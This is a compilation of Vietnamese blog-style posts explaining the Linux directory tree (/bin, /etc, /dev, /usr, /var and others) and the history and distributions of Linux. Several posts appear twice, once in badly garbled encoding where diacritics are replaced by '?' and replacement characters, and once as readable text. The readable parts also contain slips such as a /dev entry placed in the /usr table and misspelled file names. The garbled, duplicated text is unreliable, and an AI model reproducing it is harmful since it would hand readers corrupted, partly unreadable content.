Th� m?c /tmp ch?a c�c file t?m m� ch��ng tr?nh t?o ra trong khi ch?y. N?u b?n bi?t h? th?ng m�y m?nh c� ch��ng tr?nh t?o ra nhi?u file t?m v?i k�ch c? l?n, b?n n�n t?o th� m?c /tmp th�nh m?t file system ri�ng thay v? �?t n� v�o file system g?c nh� l� m?t th� m?c b?nh th�?ng. B?i v? v?i �� ch?t ch?a c�c file t?m ng�y c�ng nhi?u, file system g?c s? nhanh ch�ng b? �?y.

Th� m?c /home l� th� m?c c� s? c?a c�c home directory cho c�c user. Qu?n tr? vi�n th�?ng �?t /home th�nh file system ri�ng r? nh?m t?o nhi?u kho?ng tr?ng cho user s? d?ng. Ngo�i ra n?u h? th?ng m�y b?n c� nhi?u user, b?n n�n chia th� m?c /home th�nh nhi?u file system kh�c nhau. V� d? b?n c� th? t?o ra /home/vnexperts cho c�c th�nh vi�n c?a nh�m �i?u h�nh c?a c�ng ty v�/home/admin cho qu?n tr? vi�n. M?i th� m?c nh� th? s? l� m?t file system ri�ng, b�n d�?i c� home directory ri�ng cho c�c user t��ng ?ng.

Th� m?c /var l�u c�c file c� th? thay �?i k�ch th�?c theo th?i gian. Nhi?u file ��ng nh?p h? th?ng (system log file) th�?ng n?m trong th� m?c n�y. Th� m?c /var/spool c�ng v?i c�c th� m?c con d�ng �? ch?a d? li?u nh� tin t?c ho?c th� t�n m?i nh?n ��?c, ho?c gi? �ang ch? g?i �i n�i kh�c.

Th� m?c /usr v� c�c th� m?c con r?t quan tr?ng cho h? th?ng Linux, b?i v? ch?a �?ng nhi?u th� m?c trong �� c� nh?ng ch��ng tr?nh c?n thi?t nh?t cho h? th?ng. Nh?ng th� m?c c?p d�?i c?a /usr ch?a c�c g�i ph?n m?m l?n m� b?n �? c�i �?t. B?ng 1.2 gi?i thi?u m?t s? th� m?c c?p d�?i c?a /usr. ? h?u h?t m?i tr�?ng h?p th� m?c /usr ��?c thi?t l?p nh� l� m?t file system ri�ng r?.

B?ng 1.2 C�c th� m?c th? c?p quan tr?ng trong file system /usr.


Th� m?c th? c?pDescription
/usr/binL�u nhi?u file thi h�nh c?a h? th?ng.
/usr/etcL�u nhi?u file c?u h?nh h? th?ng
/usr/includeT?i ��y v� trong nhi?u th� m?c c?p d�?i c?a /usr/include l� n�i l�u t?t c? c�c file k�m theo b? bi�n d?ch C. Nh?ng file header n�y �?nh ngh?a c�c h?ng v� h�m d�ng trong l?p tr?nh b?ng C.
/usr/g++-includeL�u c�c file k�m theo b? bi�n d?ch C.
/usr/libCh?a c�c th� vi?n �? ch��ng tr?nh s? d?ng trong khi k?t n?i
/usr/share/manCh?a c�c trang th? c�ng cho ch��ng tr?nh. B�n d�?i /usr/share/man l� nhi?u th� m?c t��ng ?ng v?i c�c �o?n trong trang man.
/dev/pty*Driver h? tr? terminal gi?, d�ng cho vi?c ��ng nh?p t? xa, ch?ng h?n nh� nh?ng phi�n ��ng nh?p qua Telnet.
/usr/srcCh?a c�c th� m?c m? ngu?n c?a nhi?u ch��ng tr?nh tr�n h? th?ng. N?u nh?n ��?c g�i ph?n m?m ch? c�i �?t, b?n n�n l�u v�o /usr/src/t�n-g�i tr�?c khi c�i �?t.
/usr/localD�nh ri�ng cho vi?c thi?t k? ho?c t�y ch?nh c�c ?ng d?ng cho ph� h?p v?i h? th?ng m�y b?n. Nh?n chung, h?u h?t ph?n m?m d�ng t?i ch? ��?c l�u trong c�c th� m?c c?p d�?i c?a th� m?c n�y

-T�m t?t : c�c th� m?c trong Linux ��?c chu?n h�a v� m?i th� m?c c� m?t m?c ��ch s? d?ng nh?t �?nh:
/bin � ch?a c�c ?ng d?ng quan tr?ng (binary applications).
/boot � c�c t?p tin c?u h?nh cho qu� tr?nh kh?i �?ng h? th?ng (boot configuration files)
/dev � ch?a c�c t?p tin l� ch?ng nh?n cho c�c thi?t b? c?a h? th?ng (device files)
/etc � ch?a c�c t?p tin c?u h?nh c?a h? th?ng, c�c t?p tin l?nh �? kh?i �?ng c�c d?ch v? c?a h? th?ng�
/home � th� m?c n�y ch?a c�c th� m?c c� nh�n c?a nh?ng ng�?i c� quy?n truy c?p v�o h? th?ng (local users� home directories)
/lib � th� m?c n�y l�u c�c th� vi?n chia s? c?a h? th?ng (system libraries)
/lost+found � th� m?c n�y ��?c d�ng �? l�u c�c t?p tin kh�ng c� th� m?c m? m� ��?c t?m th?y d�?i th� m?c g?c (/) sau khi th?c hi?n l?nh ki?m tra h? th?ng t?p tin (fsck).
/media � th� m?c n�y ��?c d�ng �? t?o ra c�c t?p tin g?n (loaded) t?m th?i ��?c h? th?ng t?o ra khi m?t thi?t b? l�u �?ng (removable media) ��?c c?m v�o nh� �?a CDs, m�y ?nh k? thu?t s?�
/mnt � th� m?c n�y ��?c d�ng �? g?n c�c h? th?ng t?p tin t?m th?i (mounted filesystems),
/opt � th� m?c d�ng d? ch?a c�c ph?n m?m ?ng d?ng (optional applications) �? ��?c c�i �?t th�m.
/proc � ��y l� m?t th� m?c �?c bi?t linh �?ng �? l�u c�c th�ng tin v? t?nh tr?ng c?a h? th?ng, �?c bi?t v? c�c ti?n tr?nh (processes) �ang ho?t �?ng.
/root � ��y l� th� m?c nh� c?a ng�?i qu?n tr? h? th?ng (root).
/sbin � th� m?c n�y l�u l?i c�c t?p tin th?c thi c?a h? th?ng (system binaries)
/sys � th� m?c n�y l�u c�c t?p tin c?a h? th?ng (system files).
/tmp � th� m?c n�y l�u l?i c�c t?p tin ��?c t?o ra t?m th?i (temporary files).
/usr � th� m?c n�y l�u v� ch?a nh?ng t?p tin c?a c�c ?ng d?ng ch�nh �? ��?c c�i �?t cho m?i ng�?i d�ng (all users).
/var � th� m?c n�y l�u l?i t?p tin ghi c�c s? li?u bi?n �?i (variable files) nh� c�c t?p tin d? li?u v� t?p tin b?n ghi (logs and databases).


S�u t?m v� t?ng h?p t? internet

Linux 4 - Ý nghĩa của các thư mục trong Linux



Trong hệ điều hành Linux, những tập tin mà người sử dụng nhìn thấy được đều theo cấu trúc cây thư mục, với root nằm ở trên cùng. Từ điểm này các thư mục và tập tin mới mọc nhánh ra lan dần xuống phía dưới. Thư mục cao nhất, được ký hiệu bằng vạch /, được gọi là root directory (thư mục gốc).
Với người sử dụng bình thường thì cây thư mục này là một dải những tập tin và thư mục nối liền nhau. Trên thực tế, nhiều thư mục trong cây thư mục này nằm ở nhiều vị trí vật lý khác nhau, trên các partition khác nhau, và thậm chí trên các ổ đĩa khác nhau. Khi một trong các partition ấy được kết nối với cấu trúc cây tại một thư mục gọi là mount point (điểm kết nối, điểm lắp ráp), thì mount point này và tất cả các thư mục cấp dưới được gọi là file system.
Hệ điều hành Linux hình thành từ nhiều thư mục và tập tin khác nhau. Các thư mục có thể lập thành nhiều file system khác nhau, tùy vào cách cài đặt bạn đã chọn. Nhìn chung, đa phần hệ điều hành nằm ở hai file system: root file system (file system gốc) được ký hiệu là /, và một file system khác được kết nối theo /usr (đọc là user).Khi dùng lệnh cd / để chuyển về thư mục gốc và gọi hiển thị danh sách thư mục, bạn sẽ thấy nhiều thư muc. Những thư mục này tạo thành nội dung của root file system, đồng thời cung cấp mount point cho các file system khác.Thư mục /bin chứa các chương trình thi hành được, còn gọi là các binaries (nhị phân). Chúng là chương trình hệ thống chủ yếu. Nhiều lệnh của Linux, chẳng hạn như ls, là các chương trình nằm tại các thư mục ấy.Thư mục /sbin chứa các file nhị phân hệ thống. Hầu hết các tập tin ở đây dùng để quản trị hệ thống. (superuser-bin).Thư mục /etc rất quan trọng vì chứa nhiều file cấu hình Linux. Chúng giúp cho hệ thống máy bạn có “cá tính”. File mật khẩu passwdnằm ở thư mục này, cũng như fstab , danh sách các file system cần nạp vào khi khởi động máy. Ngoài ra thư mục còn chứa các script khởi động cho Linux, danh sách các host kèm địa chỉ IP, cùng với nhiều thông tin cấu hình khác.Các thư viện dùng chung được chứa trong thư mục /lib. Khi dùng chung thư viện, nhiều chương trình sẽ sử dụng lại cùng loại mã, hơn nữa khi được chứa cùng chỗ, thư viện sẽ giúp giảm thiểu kích cỡ chương trình ở khía cạnh thời gian chạy.

Thư mục /dev chứa các file đặc biệt gọi là device files (file thiết bị, được hệ thống sử dụng để chạy các phần cứng. Ví dụ file/dev/mouse sẽ đọc thông tin từ chuột. Khi tổ chức sử dụng phần cứng theo cách này, Linux làm cho việc tương tác với phần cứng trông giống như một phần mềm. Điều này có nghĩa là trong nhiều trường hợp, bạn có thể dùng cú pháp như khi dùng với directory của mình trên đĩa mềm, ta có thể dùng lệnh: tar -cdf /dev/fd0 tackett .

/dev/fd0 chỉ cho lệnh tar biết phải dùng đĩa mềm. Nhiều thiết bị trong thư mục /dev được tập hợp thành nhóm logical. Bảng 1.1 Liệt kê các thiết bị phổ biến nhất trong thư mục /dev.

Bảng 1.1: Các thiết bị thường dùng chứa trong thư mục /dev

File thiết bịDescription
/dev/consoleBàn giao tiếp hệ thống, là màn hình nối kết vật lý với hệ thống
/dev/hd*Giao diện driver cho các ổ cứng IDE. Thiết bị /dev/hda1 chỉ partition đầu tiên trên ổ cứng had. Thiết bị /dev/had chỉ toàn bộ ổ cứng hda.
/dev/sd*Giao diện driver cho các ổ đĩa SCSI. Những ổ đĩa và partition này có cùng quy ước với thiết bị IDE /dev/hd*.
/dev/fd*Driver thiết bị hỗ trợ đĩa mềm. Ổ đĩa mềm đầu tiên là /dev/fd0, ổ thứ hai là /dev/fd1.
/dev/st*Driver thiết bị cho ổ cứng băng từ SCSI.
/dev/tty*Driver cung cấp nhiều loại thiết bị giao tiếp khác nhau cho user nhập liệu. Sở dĩ viết tắt là tty bởi vì trước kia các terminal dạng teletype đều móc nối với hệ điều hành UNIX. Với Linux, những tập tin này hỗ trợ các thiết bị giao tiếp ảo, mà bạn có thể truy cập bằng cách bấm từ cho đến . Thiết bị giao tiếp ảo cho phép nhiều user đăng nhập cùng lúc.
/dev/pty*Driver hỗ trợ terminal giả, dùng cho việc đăng nhập từ xa, chẳng hạn như những phiên đăng nhập qua Telnet.
/dev/ttyS*Các cổng giao diện nối tiếp trên máy bạn. File /dev/ttyS0 tương ứng COM1 của MS-DOS. Nếu bạn sử dụng chuột nối tiếp, thì file /dev/mouse là một liên kết tượng trưng, nối với thiết bị ttyS tương ứng (Chuột nối kết với thiết bị này.)
/dev/cua*Các thiết bị đặc biệt gọi ra ngoài dùng với modem
/dev/nullMột thiết bị rất đặc biệt, chủ yếu là một lỗ đen. Tất cả các dữ liệu ghi vào /dev/null xem như bị mất vĩnh viễn. Việc này hữu ích khi bạn muốn chạy một câu lệnh và thủ tiêu stdout hoặc stderr. Và nếu /dev/null dùng làm file nhập, bạn sẽ tạo ra một file có độ dài zero.

Thư mục /proc là một file system ảo, dùng để đọc thông tin từ bộ nhớ.

Thư mục /tmp chứa các file tạm mà chương trình tạo ra trong khi chạy. Nếu bạn biết hệ thống máy mình có chương trình tạo ra nhiều file tạm với kích cỡ lớn, bạn nên tạo thư mục /tmp thành một file system riêng thay vì đặt nó vào file system gốc như là một thư mục bình thường. Bởi vì với đà chất chứa các file tạm ngày càng nhiều, file system gốc sẽ nhanh chóng bị đầy.

Thư mục /home là thư mục cơ sở của các home directory cho các user. Quản trị viên thường đặt /home thành file system riêng rẽ nhằm tạo nhiều khoảng trống cho user sử dụng. Ngoài ra nếu hệ thống máy bạn có nhiều user, bạn nên chia thư mục /home thành nhiều file system khác nhau. Ví dụ bạn có thể tạo ra /home/vnexperts cho các thành viên của nhóm điều hành của công ty và/home/admin cho quản trị viên. Mỗi thư mục như thế sẽ là một file system riêng, bên dưới có home directory riêng cho các user tương ứng.

Thư mục /var lưu các file có thể thay đổi kích thước theo thời gian. Nhiều file đăng nhập hệ thống (system log file) thường nằm trong thư mục này. Thư mục /var/spool cùng với các thư mục con dùng để chứa dữ liệu như tin tức hoặc thư tín mới nhận được, hoặc giả đang chờ gửi đi nơi khác.

Thư mục /usr và các thư mục con rất quan trọng cho hệ thống Linux, bởi vì chứa đựng nhiều thư mục trong đó có những chương trình cần thiết nhất cho hệ thống. Những thư mục cấp dưới của /usr chứa các gói phần mềm lớn mà bạn đã cài đặt. Bảng 1.2 giới thiệu một số thư mục cấp dưới của /usr. Ở hầu hết mọi trường hợp thư mục /usr được thiết lập như là một file system riêng rẽ.

Bảng 1.2 Các thư mục thứ cấp quan trọng trong file system /usr.


Thư mục thứ cấpDescription
/usr/binLưu nhiều file thi hành của hệ thống.
/usr/etcLưu nhiều file cấu hình hệ thống
/usr/includeTại đây và trong nhiều thư mục cấp dưới của /usr/include là nơi lưu tất cả các file kèm theo bộ biên dịch C. Những file header này định nghĩa các hằng và hàm dùng trong lập trình bằng C.
/usr/g++-includeLưu các file kèm theo bộ biên dịch C.
/usr/libChứa các thư viện để chương trình sử dụng trong khi kết nối
/usr/share/manChứa các trang thủ công cho chương trình. Bên dưới /usr/share/man là nhiều thư mục tương ứng với các đoạn trong trang man.
/dev/pty*Driver hỗ trợ terminal giả, dùng cho việc đăng nhập từ xa, chẳng hạn như những phiên đăng nhập qua Telnet.
/usr/srcChứa các thư mục mã nguồn của nhiều chương trình trên hệ thống. Nếu nhận được gói phần mềm chờ cài đặt, bạn nên lưu vào /usr/src/tên-gói trước khi cài đặt.
/usr/localDành riêng cho việc thiết kế hoặc tùy chỉnh các ứng dụng cho phù hợp với hệ thống máy bạn. Nhìn chung, hầu hết phần mềm dùng tại chỗ được lưu trong các thư mục cấp dưới của thư mục này

-Tóm tắt : các thư mục trong Linux được chuẩn hóa và mỗi thư mục có một mục đích sử dụng nhất định:
/bin – chứa các ứng dụng quan trọng (binary applications).
/boot – các tập tin cấu hình cho quá trình khởi động hệ thống (boot configuration files)
/dev – chứa các tập tin là chứng nhận cho các thiết bị của hệ thống (device files)
/etc – chứa các tập tin cấu hình của hệ thống, các tập tin lệnh để khởi động các dịch vụ của hệ thống…
/home – thư mục này chứa các thư mục cá nhân của những người có quyền truy cập vào hệ thống (local users’ home directories)
/lib – thư mục này lưu các thư viện chia sẻ của hệ thống (system libraries)
/lost+found – thư mục này được dùng để lưu các tập tin không có thư mục mẹ mà được tìm thấy dưới thư mục gốc (/) sau khi thực hiện lệnh kiểm tra hệ thống tập tin (fsck).
/media – thư mục này được dùng để tạo ra các tập tin gắn (loaded) tạm thời được hệ thống tạo ra khi một thiết bị lưu động (removable media) được cắm vào như đĩa CDs, máy ảnh kỹ thuật số…
/mnt – thư mục này được dùng để gắn các hệ thống tập tin tạm thời (mounted filesystems),
/opt – thư mục dùng dể chứa các phần mềm ứng dụng (optional applications) đã được cài đặt thêm.
/proc – đây là một thư mục đặc biệt linh động để lưu các thông tin về tình trạng của hệ thống, đặc biệt về các tiến trình (processes) đang hoạt động.
/root – đây là thư mục nhà của người quản trị hệ thống (root).
/sbin – thư mục này lưu lại các tập tin thực thi của hệ thống (system binaries)
/sys – thư mục này lưu các tập tin của hệ thống (system files).
/tmp – thư mục này lưu lại các tập tin được tạo ra tạm thời (temporary files).
/usr – thư mục này lưu và chứa những tập tin của các ứng dụng chính đã được cài đặt cho mọi người dùng (all users).
/var – thư mục này lưu lại tập tin ghi các số liệu biến đổi (variable files) như các tập tin dữ liệu và tập tin bản ghi (logs and databases).


Sưu tầm và tổng hợp từ internet

Linux 3 - C?u tr�c c�y th� m?c trong linux



1. / � Root

��ng v?i t�n g?i c?a m?nh: n�t g?c (root) ��y l� n�i b?t �?u c?a t?t c? c�c file v� th� m?c. Ch? c� root user m?i c� quy?n ghi trong th� m?c n�y. Ch� ? r?ng /root l� th� m?c home c?a root user ch? kh�ng ph?i l� /.

2. /bin � Ch��ng tr?nh c?a ng�?i d�ng
Th� m?c n�y ch?a c�c ch��ng tr?nh th?c thi. C�c ch��ng tr?nh chung c?a Linux ��?c s? d?ng b?i t?t c? ng�?i d�ng ��?c l�u ? ��y. V� d? nh�: ps, ls, ping�

3. /sbin � Ch��ng tr?nh h? th?ng

C?ng gi?ng nh� /bin, /sbinn c?ng ch?a c�c ch��ng tr?nh th?c thi, nh�ng ch�ng l� nh?ng ch��ng tr?nh c?a admin, d�nh cho vi?c b?o tr? h? th?ng. V� d? nh�: reboot, fdisk, iptables�

4. /etc � C�c file c?u h?nh


Th� m?c n�y ch?a c�c file c?u h?nh c?a c�c ch��ng tr?nh, �?ng th?i n� c?n ch?a c�c shell script d�ng �? kh?i �?ng ho?c t?t c�c ch��ng tr?nh kh�c. V� d?: /etc/resolv.conf, /etc/logrolate.conf

5. /dev � C�c file thi?t b?


C�c ph�n v�ng ? c?ng, thi?t b? ngo?i vi nh� USB, ? �?a c?m ngo�i, hay b?t c? thi?t b? n�o g?n k�m v�o h? th?ng �?u ��?c l�u ? ��y. V� d?: /dev/sdb1 l� t�n c?a USB b?n v?a c?m v�o m�y, �? m? ��?c USB n�y b?n c?n s? d?ng l?nh mount v?i quy?n root: # mount /dev/sdb1 /tmp

6. /tmp � C�c file t?m

Th� m?c n�y ch?a c�c file t?m th?i ��?c t?o b?i h? th?ng v� c�c ng�?i d�ng. C�c file l�u trong th� m?c n�y s? b? x�a khi h? th?ng kh?i �?ng l?i.

7. /proc � Th�ng tin v? c�c ti?n tr?nh

Th�ng tin v? c�c ti?n tr?nh �ang ch?y s? ��?c l�u trong /proc d�?i d?ng m?t h? th?ng file th� m?c m� ph?ng. V� d? th� m?c con /proc/{pid} ch?a c�c th�ng tin v? ti?n tr?nh c� ID l� pid (pid ~ process ID). Ngo�i ra ��y c?ng l� n�i l�u th�ng tin v? v? c�c t�i nguy�n �ang s? d?ng c?a h? th?ng nh�: /proc/version, /proc/uptime�

8. /var � File v? bi?n c?a ch��ng tr?nh

Th�ng tin v? c�c bi?n c?a h? th?ng ��?c l�u trong th� m?c n�y. Nh� th�ng tin v? log file: /var/log, c�c g�i v� c� s? d? li?u /var/lib�

9. /usr � Ch��ng tr?nh c?a ng�?i d�ng

Ch?a c�c th� vi?n, file th?c thi, t�i li?u h�?ng d?n v� m? ngu?n cho ch��ng tr?nh ch?y ? level 2 c?a h? th?ng. Trong ��

    - /usr/bin ch?a c�c file th?c thi c?a ng�?i d�ng nh�: at, awk, cc, less� N?u b?n kh�ng t?m th?y ch�ng trong /bin h?y t?m trong /usr/bin
    - /usr/sbin ch?a c�c file th?c thi c?a h? th?ng d�?i quy?n c?a admin nh�: atd, cron, sshd� N?u b?n kh�ng t?m th?y ch�ng trong /sbin th? h?y t?m trong th� m?c n�y.
    - /usr/lib ch?a c�c th� vi?n cho c�c ch��ng tr?nh trong /usr/bin v� /usr/sbin
    - /usr/local ch?a c�c ch��ng t?nh c?a ng�?i d�ng ��?c c�i t? m? ngu?n. V� d? nh� b?n c�i apache t? m? ngu?n, n� s? ��?c l�u d�?i /usr/local/apache2

10. /home � Th� m?c ng�?i c?a d�ng

Th� m?c n�y ch?a t?t c? c�c file c� nh�n c?a t?ng ng�?i d�ng. V� d?: /home/john, /home/marie

11. /boot � C�c file kh?i �?ng

T?t c? c�c file y�u c?u khi kh?i �?ng nh� initrd, vmlinux. grub ��?c l�u t?i ��y. V� d? vmlixuz-2.6.32-24-generic

12. /lib � Th� vi?n h? th?ng

Ch?a c� th� vi?n h? tr? cho c�c file th?c thi trong /bin v� /sbin. C�c th� vi?n n�y th�?ng c� t�n b?t �?u b?ng ld* ho?c lib*.so.*. V� d? nh� ld-2.11.1.so hay libncurses.so.5.7

13. /opt � C�c ?ng d?ng ph? t�y ch?n

T�n th� m?c n�y ngh?a l� optional (t�y ch?n), n� ch?a c�c ?ng d?ng th�m v�o t? c�c nh� cung c?p �?c l?p kh�c. C�c ?ng d?ng n�y c� th? ��?c c�i ? /opt ho?c m?t th� m?c con c?a /opt

14. /mnt � Th� m?c �? mount

��y l� th� m?c t?m �? mount c�c file h? th?ng. V� d? nh� # mount /dev/sda2 /mnt

15. /media � C�c thi?t b? g?n c� th? g? b?


Th� m?c t?m n�y ch?a c�c thi?t b? nh� CdRom /media/cdrom. floppy /media/floopy hay c�c ph�n v�ng �?a c?ng /media/Data (hi?u nh� l� ? D:/Data trong Windows)

16. /srv � D? li?u c?a c�c d?ch v? kh�c
Ch?a d? li?u li�n quan �?n c�c d?ch v? m�y ch? nh� /srv/svs, ch?a c�c d? li?u li�n quan �?n CVS.

S�u t?m v� t?ng h?p t? internet

Linux 3 - Cấu trúc cây thư mục trong linux



1. / – Root

Đúng với tên gọi của mình: nút gốc (root) đây là nơi bắt đầu của tất cả các file và thư mục. Chỉ có root user mới có quyền ghi trong thư mục này. Chú ý rằng /root là thư mục home của root user chứ không phải là /.

2. /bin – Chương trình của người dùng
Thư mục này chứa các chương trình thực thi. Các chương trình chung của Linux được sử dụng bởi tất cả người dùng được lưu ở đây. Ví dụ như: ps, ls, ping…

3. /sbin – Chương trình hệ thống

Cũng giống như /bin, /sbinn cũng chứa các chương trình thực thi, nhưng chúng là những chương trình của admin, dành cho việc bảo trì hệ thống. Ví dụ như: reboot, fdisk, iptables…

4. /etc – Các file cấu hình


Thư mục này chứa các file cấu hình của các chương trình, đồng thời nó còn chứa các shell script dùng để khởi động hoặc tắt các chương trình khác. Ví dụ: /etc/resolv.conf, /etc/logrolate.conf

5. /dev – Các file thiết bị


Các phân vùng ổ cứng, thiết bị ngoại vi như USB, ổ đĩa cắm ngoài, hay bất cứ thiết bị nào gắn kèm vào hệ thống đều được lưu ở đây. Ví dụ: /dev/sdb1 là tên của USB bạn vừa cắm vào máy, để mở được USB này bạn cần sử dụng lệnh mount với quyền root: # mount /dev/sdb1 /tmp

6. /tmp – Các file tạm

Thư mục này chứa các file tạm thời được tạo bởi hệ thống và các người dùng. Các file lưu trong thư mục này sẽ bị xóa khi hệ thống khởi động lại.

7. /proc – Thông tin về các tiến trình

Thông tin về các tiến trình đang chạy sẽ được lưu trong /proc dưới dạng một hệ thống file thư mục mô phỏng. Ví dụ thư mục con /proc/{pid} chứa các thông tin về tiến trình có ID là pid (pid ~ process ID). Ngoài ra đây cũng là nơi lưu thông tin về về các tài nguyên đang sử dụng của hệ thống như: /proc/version, /proc/uptime…

8. /var – File về biến của chương trình

Thông tin về các biến của hệ thống được lưu trong thư mục này. Như thông tin về log file: /var/log, các gói và cơ sở dữ liệu /var/lib…

9. /usr – Chương trình của người dùng

Chứa các thư viện, file thực thi, tài liệu hướng dẫn và mã nguồn cho chương trình chạy ở level 2 của hệ thống. Trong đó

    - /usr/bin chứa các file thực thi của người dùng như: at, awk, cc, less… Nếu bạn không tìm thấy chúng trong /bin hãy tìm trong /usr/bin
    - /usr/sbin chứa các file thực thi của hệ thống dưới quyền của admin như: atd, cron, sshd… Nếu bạn không tìm thấy chúng trong /sbin thì hãy tìm trong thư mục này.
    - /usr/lib chứa các thư viện cho các chương trình trong /usr/bin và /usr/sbin
    - /usr/local chứa các chương tình của người dùng được cài từ mã nguồn. Ví dụ như bạn cài apache từ mã nguồn, nó sẽ được lưu dưới /usr/local/apache2

10. /home – Thư mục người của dùng

Thư mục này chứa tất cả các file cá nhân của từng người dùng. Ví dụ: /home/john, /home/marie

11. /boot – Các file khởi động

Tất cả các file yêu cầu khi khởi động như initrd, vmlinux. grub được lưu tại đây. Ví dụ vmlixuz-2.6.32-24-generic

12. /lib – Thư viện hệ thống

Chứa cá thư viện hỗ trợ cho các file thực thi trong /bin và /sbin. Các thư viện này thường có tên bắt đầu bằng ld* hoặc lib*.so.*. Ví dụ như ld-2.11.1.so hay libncurses.so.5.7

13. /opt – Các ứng dụng phụ tùy chọn

Tên thư mục này nghĩa là optional (tùy chọn), nó chứa các ứng dụng thêm vào từ các nhà cung cấp độc lập khác. Các ứng dụng này có thể được cài ở /opt hoặc một thư mục con của /opt

14. /mnt – Thư mục để mount

Đây là thư mục tạm để mount các file hệ thống. Ví dụ như # mount /dev/sda2 /mnt

15. /media – Các thiết bị gắn có thể gỡ bỏ


Thư mục tạm này chứa các thiết bị như CdRom /media/cdrom. floppy /media/floopy hay các phân vùng đĩa cứng /media/Data (hiểu như là ổ D:/Data trong Windows)

16. /srv – Dữ liệu của các dịch vụ khác
Chứa dữ liệu liên quan đến các dịch vụ máy chủ như /srv/svs, chứa các dữ liệu liên quan đến CVS.

Sưu tầm và tổng hợp từ internet

Linux 1 - Gi?i thi?u h? �i?u h�nh Linux




1. Gi?i thi?u v? H? �i?u H�nh Linux

Phi�n b?n Linux �?u ti�n do Linus Torvalds vi?t v�o n�m 1991, l�c �ng c?n l� m?t sinh vi�n c?a �?i h?c Helsinki t?i Ph?n Lan. �ng l�m vi?c m?t c�ch h�ng say trong v?ng 3 n�m li�n t?c v� cho ra �?i phi�n b?n Linux 1.0 v�o n�m 1994. B? ph?n ch? y?u n�y ��?c ph�t tri?n v� tung ra tr�n th? tr�?ng d�?i b?n quy?n GNU General Public License. Do �� m� b?t c? ai c?ng c� th? t?i v� xem m? ngu?n c?a Linux.

M?t c�ch ch�nh x�c, thu?t ng? �Linux� ��?c s? d?ng �? ch? Nh�n Linux, nh�ng t�n n�y ��?c s? d?ng m?t c�ch r?ng r?i �? mi�u t? t?ng th? m?t h? �i?u h�nh gi?ng Unix (c?n ��?c bi?t �?n d�?i t�n GNU/Linux) ��?c t?o ra b?i vi?c ��ng g�i nh�n Linux c�ng v?i c�c th� vi?n v� c�ng c?GNU, c?ng nh� l� c�c b?n ph�n ph?i Linux. Th?c t? th? �� l� t?p h?p m?t s? l�?ng l?n c�c ph?n m?m nh� m�y ch? web, c�c ng�n ng? l?p tr?nh, c�c h? qu?n tr? c� s? d? li?u, c�c m�i tr�?ng l�m vi?c desktop nh� GNOME v� KDE, v� c�c ?ng d?ng th�ch h?p cho c�ng vi?c v�n ph?ng nh� OpenOfficehay LibreOffice.

Kh?i �?u, Linux ��?c ph�t tri?n cho d?ng vi x? l? 386, hi?n t?i h? �i?u h�nh n�y h? tr? m?t s? l�?ng l?n c�c ki?n tr�c vi x? l?, v� ��?c s? d?ng trong nhi?u ?ng d?ng kh�c nhau t? m�y t�nh c� nh�n cho t?i c�c si�u m�y t�nh v� c�c thi?t b? nh�ng nh� l� c�c m�y �i?n tho?i di �?ng.

Ban �?u, Linux ��?c ph�t tri?n v� s? d?ng b?i nh?ng ng�?i say m�. Tuy nhi�n, hi?n nay Linux �? c� ��?c s? h? tr? b?i c�c c�ng ty l?n nh� IBM v� Hewlett-Packard, �?ng th?i n� c?ng b?t k?p ��?c c�c phi�n b?n Unix �?c quy?n v� th?m ch� l� m?t th�ch th?c �?i v?i s? th?ng tr? c?a Microsoft Windows trong m?t s? l?nh v?c. S? d? Linux �?t ��?c nh?ng th�nh c�ng m?t c�ch nhanh ch�ng l� nh? v�o c�c �?c t�nh n?i b?t so v?i c�c h? th?ng kh�c: chi ph� ph?n c?ng th?p, t?c �? cao (khi so s�nh v?i c�c phi�n b?n Unix �?c quy?n) v� kh? n�ng b?o m?t t?t, �? tin c?y cao (khi so s�nh v?i Windows) c?ng nh� l� c�c �?c �i?m v? gi� th�nh r?, kh�ng b? ph? thu?c v�o nh� cung c?p. M?t �?c t�nh n?i tr?i c?a n� l� ��?c ph�t tri?n b?i m?t m� h?nh ph�t tri?n ph?n m?m ngu?n m? hi?u qu?.

Tuy nhi�n, hi?n t?i s? l�?ng ph?n c?ng ��?c h? tr? b?i Linux v?n c?n r?t khi�m t?n so v?i Windows v? c�c tr?nh �i?u khi?n thi?t b? t��ng th�ch v?i Windows nhi?u h�n l� Linux. Nh�ng trong t��ng lai s? l�?ng ph?n c?ng ��?c h? tr? cho Linux s? t�ng l�n.

2. C�c b?n ph�n ph?i Linux

Linux hi?n nay c� nhi?u b?n ph�n ph?i kh�c nhau, m?t ph?n l� b?i v? t�nh ch?t ngu?n m? c?a n�.

Ubuntu, Debian GNU/Linux, centos, fedora, Linux Mint, Knoppix, Gentoo, redflag linux, Chrome Linux, Red Hat Enterprise Linux, SUSE Linux Enterprise Desktop, PCLinuxOS, Slackware, SLAX, Sabayon........


Ngu?n : Wikipeadia.org

Linux 1 - Giới thiệu hệ điều hành Linux




1. Giới thiệu về Hệ Điều Hành Linux

Phiên bản Linux đầu tiên do Linus Torvalds viết vào năm 1991, lúc ông còn là một sinh viên của Đại học Helsinki tại Phần Lan. Ông làm việc một cách hăng say trong vòng 3 năm liên tục và cho ra đời phiên bản Linux 1.0 vào năm 1994. Bộ phận chủ yếu này được phát triển và tung ra trên thị trường dưới bản quyền GNU General Public License. Do đó mà bất cứ ai cũng có thể tải và xem mã nguồn của Linux.

Một cách chính xác, thuật ngữ “Linux” được sử dụng để chỉ Nhân Linux, nhưng tên này được sử dụng một cách rộng rãi để miêu tả tổng thể một hệ điều hành giống Unix (còn được biết đến dưới tên GNU/Linux) được tạo ra bởi việc đóng gói nhân Linux cùng với các thư viện và công cụGNU, cũng như là các bản phân phối Linux. Thực tế thì đó là tập hợp một số lượng lớn các phần mềm như máy chủ web, các ngôn ngữ lập trình, các hệ quản trị cơ sở dữ liệu, các môi trường làm việc desktop như GNOME và KDE, và các ứng dụng thích hợp cho công việc văn phòng như OpenOfficehay LibreOffice.

Khởi đầu, Linux được phát triển cho dòng vi xử lý 386, hiện tại hệ điều hành này hỗ trợ một số lượng lớn các kiến trúc vi xử lý, và được sử dụng trong nhiều ứng dụng khác nhau từ máy tính cá nhân cho tới các siêu máy tính và các thiết bị nhúng như là các máy điện thoại di động.

